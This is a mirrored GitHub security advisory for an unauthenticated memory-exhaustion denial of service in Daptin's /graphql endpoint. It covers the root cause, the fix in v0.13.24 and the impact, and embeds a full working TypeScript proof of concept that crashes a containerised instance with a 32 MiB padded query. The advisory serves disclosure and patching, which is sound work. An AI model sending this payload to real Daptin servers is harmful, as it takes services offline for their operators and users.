GHSA-5XMJ-Q75G-593F
Unauthenticated denial of service via unbounded GraphQL request capture
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche v0.13.24 | github.com/daptin/daptin · -1 d desde divulgación | |
| Divulgación | Publicada | GHSA-5XMJ-Q75G-593F divulgada · CVSS 7.5 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Daptin `v0.13.18` through `v0.13.23` copy every `/graphql` request body into an unbounded in-memory buffer before it knows whether metering is required. An unauthenticated client can send one valid large GraphQL request and terminate the Daptin process through memory exhaustion.
In three isolated trials with a 256 MiB container limit, a 33,554,464-byte request OOM-killed the official `v0.13.19` container with exit code 137. A 1 MiB control returned HTTP 200 in every trial.
Details
Affected releases
The unbounded metering capture was introduced in `v0.13.18` and remains unchanged through `v0.13.23`. The reporter reproduced the issue on `v0.13.19`, commit `8a7530cd855205dcf9d6517e92f36cd2ca36a591` https://github.com/daptin/daptin/commit/8a7530cd855205dcf9d6517e92f36cd2ca36a591. `v0.13.24` is the first patched release. Earlier releases have not been assessed for other unbounded GraphQL parsing paths.
The official image used below is pinned by digest and identifies that exact release commit:
daptin/daptin@sha256:459f33791db685c38524644e0d94364b84e22d6ba11deff7fcea1efb0382574ePreconditions
- GraphQL is enabled through Daptin's shipped `EnableGraphQL` option.
- No account, token, metered table, or application data is required.
Root cause
The middleware is installed globally and activates for every request whose path is `/graphql`:
- `server/server.go` line 276
https://github.com/daptin/daptin/blob/8a7530cd855205dcf9d6517e92f36cd2ca36a591/server/server.go#L276 - `server/metering_payload.go` lines 34-45 and 69-72
https://github.com/daptin/daptin/blob/8a7530cd855205dcf9d6517e92f36cd2ca36a591/server/metering_payload.go#L34-L72
`NewMeteringPayloadCapture` tees every byte consumed by the GraphQL handler into an unbounded `bytes.Buffer`. `RequestBody()` can create another complete copy:
- `server/resource/metering_payload_capture.go` lines 28-48
https://github.com/daptin/daptin/blob/8a7530cd855205dcf9d6517e92f36cd2ca36a591/server/resource/metering_payload_capture.go#L28-L48
The vulnerable path has no `http.MaxBytesReader`, `io.LimitReader`, capture cap, or truncation policy. The PoC body is valid JSON containing a valid `query { __typename }` operation preceded by legal GraphQL whitespace.
Resolution
`v0.13.24` rejects GraphQL POST bodies larger than 10 MiB by default, before parsing or metering capture, with HTTP 413. Administrators can set the trusted backend `graphql.max_request_bytes` setting to another positive byte count up to 64 MiB and restart Daptin. Metering retains at most 64 KiB of each captured request and response body while preserving the full byte counts and recording truncation in usage metadata. Tests cover the limit for known-length and chunked requests, an accepted request at the boundary, and `/ping` availability after rejection. The fix is in `53ae7fbe` https://github.com/daptin/daptin/commit/53ae7fbe68b13b728239f81dd4fe958da47ac3a8.
PoC
Prerequisites: Docker and Bun. Save the following as `f001.ts`.
<!-- BEGIN EMBEDDED POC -->
import { chmod, mkdtemp, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
const image = "daptin/daptin@sha256:459f33791db685c38524644e0d94364b84e22d6ba11deff7fcea1efb0382574e";
const trials = Number(Bun.env.TRIALS ?? "1");
if (!Number.isInteger(trials) || trials < 1 || trials > 10) {
throw new Error("TRIALS must be an integer from 1 to 10");
}
async function docker(args: string[], allowFailure = false) {
const child = Bun.spawn(["docker", ...args], { stdout: "pipe", stderr: "pipe" });
const [stdout, stderr, exitCode] = await Promise.all([
new Response(child.stdout).text(),
new Response(child.stderr).text(),
child.exited,
]);
if (exitCode !== 0 && !allowFailure) {
throw new Error(`docker ${args[0]} failed (${exitCode}): ${stderr.trim()}`);
}
return { stdout: stdout.trim(), stderr: stderr.trim(), exitCode };
}
async function waitForReady(baseUrl: string) {
for (let attempt = 0; attempt < 160; attempt += 1) {
try {
if ((await fetch(`${baseUrl}/ping`)).status === 200) return;
} catch {}
await Bun.sleep(250);
}
throw new Error("Daptin did not become ready");
}
async function sendGraphQl(baseUrl: string, payloadMiB: number) {
const body = JSON.stringify({
query: `${" ".repeat(payloadMiB * 1024 * 1024)}query { __typename }`,
});
try {
const response = await fetch(`${baseUrl}/graphql`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body,
});
return {
requestBytes: new TextEncoder().encode(body).byteLength,
status: response.status,
responseBytes: (await response.bytes()).byteLength,
};
} catch (error) {
return {
requestBytes: new TextEncoder().encode(body).byteLength,
error: error instanceof Error ? error.message : String(error),
};
}
}
async function inspect(name: string) {
const result = await docker(["inspect", name, "--format", "{{json .State}}"]);
return JSON.parse(result.stdout);
}
const results = [];
for (let index = 0; index < trials; index += 1) {
const directory = await mkdtemp(join(tmpdir(), "daptin-f001-"));
await chmod(directory, 0o755);
await writeFile(join(directory, "schema_graphql.yaml"), "EnableGraphQL: true\n", { mode: 0o644 });
const name = `daptin-f001-${Date.now()}-${index}`;
await docker([
"run", "-d", "--name", name,
"--memory", "256m", "--memory-swap", "256m",
"--security-opt", "no-new-privileges:true",
"-e", "DAPTIN_DISABLE_SMTP=true",
"-e", "DAPTIN_SCHEMA_FOLDER=/schemas",
"-p", "127.0.0.1::8080",
"--tmpfs", "/var/lib/daptin:rw,size=64m,uid=10001,gid=10001,mode=0750",
"-v", `${directory}:/schemas:ro`,
image,
]);
try {
const portOutput = await docker(["port", name, "8080/tcp"]);
const port = portOutput.stdout.match(/127\.0\.0\.1:(\d+)/)?.[1];
if (!port) throw new Error(`Unexpected port output: ${portOutput.stdout}`);
const baseUrl = `http://127.0.0.1:${port}`;
await waitForReady(baseUrl);
const control = await sendGraphQl(baseUrl, 1);
const attack = await sendGraphQl(baseUrl, 32);
let state = await inspect(name);
for (let attempt = 0; state.Running && attempt < 40; attempt += 1) {
await Bun.sleep(250);
state = await inspect(name);
}
results.push({ trial: index + 1, control, attack, state });
} finally {
await docker(["rm", "-f", name], true);
await rm(directory, { recursive: true, force: true });
}
}
const reproduced = results.every((result) =>
result.control.status === 200 &&
result.state.OOMKilled === true &&
result.state.ExitCode === 137
);
console.log(JSON.stringify({ image, memoryLimitMiB: 256, results, reproduced }, null, 2));
if (!reproduced) process.exitCode = 1;<!-- END EMBEDDED POC -->
Run three isolated trials:
TRIALS=3 bun f001.tsThe script binds Daptin only to a random `127.0.0.1` port and removes each exact container and temporary schema directory. A successful run exits 0 with `"reproduced": true`; each control request returns HTTP 200 and each attack leaves the container `OOMKilled: true` with exit code 137.
Impact
An unauthenticated remote client can terminate a GraphQL-enabled Daptin process running an affected release. The request can be repeated after restart to sustain complete service unavailability. The payload required scales with available memory because Daptin applies no application-level bound.
No confidentiality or integrity impact was demonstrated.
Reported by Omoikane Labs https://github.com/Omoikane-Labs. Requested credit: ffasterss https://github.com/ffasterss and shirabe0x05 https://github.com/shirabe0x05.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/daptin/daptin |
Corregida | v0.13.24 | -1 d | v0.13.57 no afectada |
0.13.24v0.13.24Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/daptin/daptin/security/advisories/GHSA-5xmj-q75g-593fLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
